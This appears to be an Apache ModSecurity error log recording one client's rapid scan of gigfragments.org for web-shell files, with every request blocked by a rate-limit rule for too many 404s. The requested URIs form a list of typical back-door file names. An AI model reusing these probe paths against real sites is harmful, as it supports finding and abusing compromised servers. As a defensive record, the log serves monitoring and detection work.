[Sat Apr 04 04:45:31.183383 2026] [:error] [pid 37114:tid 37134] [client 168.63.57.185:16126] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adAm68-DnSj3fGMexeJi-gAAARI"]
[Sat Apr 04 04:45:31.862325 2026] [:error] [pid 2459:tid 2554] [client 168.63.57.185:31713] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "adAm6wefyCmu4LR_PlpXIgAAAJY"]
[Sat Apr 04 04:45:32.375589 2026] [:error] [pid 2459:tid 2544] [client 168.63.57.185:55187] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wmore1.php"] [unique_id "adAm7AefyCmu4LR_PlpXIwAAAIw"]
[Sat Apr 04 04:45:33.035849 2026] [:error] [pid 2459:tid 2531] [client 168.63.57.185:18355] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wmore1.php"] [unique_id "adAm7QefyCmu4LR_PlpXKQAAAIA"]
[Sat Apr 04 04:45:33.714614 2026] [:error] [pid 2567:tid 2577] [client 168.63.57.185:46545] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wmore1.php"] [unique_id "adAm7WJJmfRsTrAKjdQz0QAAAMM"]
[Sat Apr 04 04:45:34.302399 2026] [:error] [pid 2459:tid 2543] [client 168.63.57.185:16108] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wmore1.php"] [unique_id "adAm7gefyCmu4LR_PlpXLwAAAIs"]
[Sat Apr 04 04:45:34.911823 2026] [:error] [pid 2567:tid 2578] [client 168.63.57.185:45854] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "adAm7mJJmfRsTrAKjdQz1AAAAMQ"]
[Sat Apr 04 04:45:35.439400 2026] [:error] [pid 37114:tid 37135] [client 168.63.57.185:55169] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "adAm78-DnSj3fGMexeJjAwAAARM"]
[Sat Apr 04 04:45:36.006555 2026] [:error] [pid 37114:tid 37120] [client 168.63.57.185:33627] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "adAm8M-DnSj3fGMexeJjBwAAAQQ"]
[Sat Apr 04 04:45:36.550084 2026] [:error] [pid 2567:tid 2589] [client 168.63.57.185:18352] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws.php"] [unique_id "adAm8GJJmfRsTrAKjdQz2gAAAM8"]
[Sat Apr 04 04:45:37.096047 2026] [:error] [pid 2459:tid 2539] [client 168.63.57.185:19559] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adAm8QefyCmu4LR_PlpXMgAAAIc"]
[Sat Apr 04 04:45:37.700957 2026] [:error] [pid 37114:tid 37128] [client 168.63.57.185:33612] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adAm8c-DnSj3fGMexeJjEQAAAQw"]
[Sat Apr 04 04:45:38.220976 2026] [:error] [pid 37114:tid 37136] [client 168.63.57.185:35436] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adAm8s-DnSj3fGMexeJjEgAAARQ"]
[Sat Apr 04 04:45:38.752389 2026] [:error] [pid 2567:tid 2577] [client 168.63.57.185:3502] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jlex.php"] [unique_id "adAm8mJJmfRsTrAKjdQz4AAAAMM"]
[Sat Apr 04 04:45:39.563634 2026] [:error] [pid 2567:tid 2593] [client 168.63.57.185:43303] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "adAm82JJmfRsTrAKjdQz4wAAANM"]
[Sat Apr 04 04:45:40.255762 2026] [:error] [pid 2567:tid 2576] [client 168.63.57.185:19539] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "adAm9GJJmfRsTrAKjdQz6AAAAMI"]
[Sat Apr 04 04:45:40.905462 2026] [:error] [pid 2567:tid 2594] [client 168.63.57.185:4691] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "adAm9GJJmfRsTrAKjdQz6wAAANQ"]
[Sat Apr 04 04:45:41.491544 2026] [:error] [pid 2567:tid 2588] [client 168.63.57.185:38007] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "adAm9WJJmfRsTrAKjdQz7QAAAM4"]
[Sat Apr 04 04:45:42.145155 2026] [:error] [pid 2459:tid 2548] [client 168.63.57.185:4342] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adAm9gefyCmu4LR_PlpXPgAAAJA"]
[Sat Apr 04 04:45:42.697162 2026] [:error] [pid 2459:tid 2556] [client 168.63.57.185:43272] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adAm9gefyCmu4LR_PlpXQwAAAJg"]
[Sat Apr 04 04:45:43.319097 2026] [:error] [pid 2457:tid 2487] [client 168.63.57.185:41189] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adAm90mNHppaMd92ZpdG5AAAAAo"]
[Sat Apr 04 04:45:43.917655 2026] [:error] [pid 2458:tid 2513] [client 168.63.57.185:37990] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kj.php"] [unique_id "adAm9yNozic5SuWqclnL3wAAAEk"]
[Sat Apr 04 04:45:44.510531 2026] [:error] [pid 2567:tid 2586] [client 168.63.57.185:4698] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "adAm-GJJmfRsTrAKjdQz8QAAAMw"]
[Sat Apr 04 04:45:45.114433 2026] [:error] [pid 2567:tid 2585] [client 168.63.57.185:37969] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "adAm-WJJmfRsTrAKjdQz-AAAAMs"]
[Sat Apr 04 04:45:45.645875 2026] [:error] [pid 2567:tid 2586] [client 168.63.57.185:4726] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "adAm-WJJmfRsTrAKjdQz-wAAAMw"]
[Sat Apr 04 04:45:46.231066 2026] [:error] [pid 2459:tid 2531] [client 168.63.57.185:55833] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ws85.php"] [unique_id "adAm-gefyCmu4LR_PlpXRgAAAIA"]
[Sat Apr 04 04:45:46.843805 2026] [:error] [pid 2459:tid 2532] [client 168.63.57.185:32309] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adAm-gefyCmu4LR_PlpXRwAAAIE"]
[Sat Apr 04 04:45:47.452927 2026] [:error] [pid 2458:tid 2518] [client 168.63.57.185:18341] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adAm-yNozic5SuWqclnL6AAAAE4"]
[Sat Apr 04 04:45:48.050397 2026] [:error] [pid 2458:tid 2510] [client 168.63.57.185:55809] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adAm_CNozic5SuWqclnL6gAAAEY"]
[Sat Apr 04 04:45:48.581631 2026] [:error] [pid 2567:tid 2581] [client 168.63.57.185:18307] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-png.php"] [unique_id "adAm_GJJmfRsTrAKjdQ0CgAAAMc"]
[Sat Apr 04 04:45:49.100773 2026] [:error] [pid 2457:tid 2491] [client 168.63.57.185:46558] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adAm_UmNHppaMd92ZpdG9QAAAA4"]
[Sat Apr 04 04:45:49.679752 2026] [:error] [pid 2459:tid 2548] [client 168.63.57.185:34182] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adAm_QefyCmu4LR_PlpXTgAAAJA"]
[Sat Apr 04 04:45:50.245823 2026] [:error] [pid 37114:tid 37117] [client 168.63.57.185:33615] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adAm_s-DnSj3fGMexeJjFgAAAQE"]
[Sat Apr 04 04:45:50.790167 2026] [:error] [pid 2567:tid 2578] [client 168.63.57.185:33655] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/666.php"] [unique_id "adAm_mJJmfRsTrAKjdQ0GAAAAMQ"]
[Sat Apr 04 04:45:51.330828 2026] [:error] [pid 2567:tid 2588] [client 168.63.57.185:32284] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adAm_2JJmfRsTrAKjdQ0HwAAAM4"]
[Sat Apr 04 04:45:51.947771 2026] [:error] [pid 2567:tid 2590] [client 168.63.57.185:16085] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adAm_2JJmfRsTrAKjdQ0JgAAANA"]
[Sat Apr 04 04:45:52.623702 2026] [:error] [pid 2459:tid 2535] [client 168.63.57.185:34234] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adAnAAefyCmu4LR_PlpXUwAAAIQ"]
[Sat Apr 04 04:45:53.243096 2026] [:error] [pid 2567:tid 2597] [client 168.63.57.185:46538] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "adAnAWJJmfRsTrAKjdQ0MwAAANc"]
[Sat Apr 04 04:45:53.776872 2026] [:error] [pid 2459:tid 2547] [client 168.63.57.185:26435] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amax.php"] [unique_id "adAnAQefyCmu4LR_PlpXVQAAAI8"]
[Sat Apr 04 04:46:11.902996 2026] [:error] [pid 37114:tid 37135] [client 168.63.57.185:14618] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adAnE8-DnSj3fGMexeJjgQAAARM"]
[Sat Apr 04 04:46:12.627246 2026] [:error] [pid 2457:tid 2494] [client 168.63.57.185:9050] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adAnFEmNHppaMd92ZpdHDAAAABE"]
[Sat Apr 04 04:46:13.277382 2026] [:error] [pid 2457:tid 2492] [client 168.63.57.185:37961] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adAnFUmNHppaMd92ZpdHDwAAAA8"]
[Sat Apr 04 04:46:14.138325 2026] [:error] [pid 2458:tid 2524] [client 168.63.57.185:35405] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ogifomnzqnlvwh5womfjirvaCdefault.php"] [unique_id "adAnFiNozic5SuWqclnMGQAAAFQ"]
[Sat Apr 04 04:46:14.994117 2026] [:error] [pid 2459:tid 2542] [client 168.63.57.185:3377] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adAnFgefyCmu4LR_PlpXlgAAAIo"]
[Sat Apr 04 04:46:15.533020 2026] [:error] [pid 37114:tid 37138] [client 168.63.57.185:33634] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adAnF8-DnSj3fGMexeJjigAAARY"]
[Sat Apr 04 04:46:16.034872 2026] [:error] [pid 2567:tid 2590] [client 168.63.57.185:14635] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adAnGGJJmfRsTrAKjdQ1AQAAANA"]
[Sat Apr 04 04:46:16.608111 2026] [:error] [pid 2458:tid 2523] [client 168.63.57.185:4309] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wlld5fjtdpjmjhsds3qzmipfCdefault.php"] [unique_id "adAnGCNozic5SuWqclnMHQAAAFM"]
[Sat Apr 04 04:46:17.274847 2026] [:error] [pid 2567:tid 2575] [client 168.63.57.185:4349] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adAnGWJJmfRsTrAKjdQ1BAAAAME"]
[Sat Apr 04 04:46:17.851154 2026] [:error] [pid 2458:tid 2516] [client 168.63.57.185:32288] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adAnGSNozic5SuWqclnMHwAAAEw"]
[Sat Apr 04 04:46:18.400244 2026] [:error] [pid 2457:tid 2487] [client 168.63.57.185:36665] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adAnGkmNHppaMd92ZpdHFAAAAAo"]
[Sat Apr 04 04:46:18.943646 2026] [:error] [pid 37114:tid 37139] [client 168.63.57.185:36670] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tfm.php"] [unique_id "adAnGs-DnSj3fGMexeJjkwAAARc"]
[Sat Apr 04 04:46:19.559584 2026] [:error] [pid 2459:tid 2553] [client 168.63.57.185:9038] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adAnGwefyCmu4LR_PlpXnQAAAJU"]
[Sat Apr 04 04:46:20.282273 2026] [:error] [pid 2458:tid 2510] [client 168.63.57.185:11814] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adAnHCNozic5SuWqclnMIQAAAEY"]
[Sat Apr 04 04:46:20.955548 2026] [:error] [pid 2457:tid 2483] [client 168.63.57.185:41201] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adAnHEmNHppaMd92ZpdHFwAAAAY"]
[Sat Apr 04 04:46:21.535037 2026] [:error] [pid 37114:tid 37121] [client 168.63.57.185:55841] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "adAnHc-DnSj3fGMexeJjlgAAAQU"]
[Sat Apr 04 04:46:22.046203 2026] [:error] [pid 2458:tid 2520] [client 168.63.57.185:19578] [client 168.63.57.185] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rithin.php"] [unique_id "adAnHiNozic5SuWqclnMJwAAAFA"]
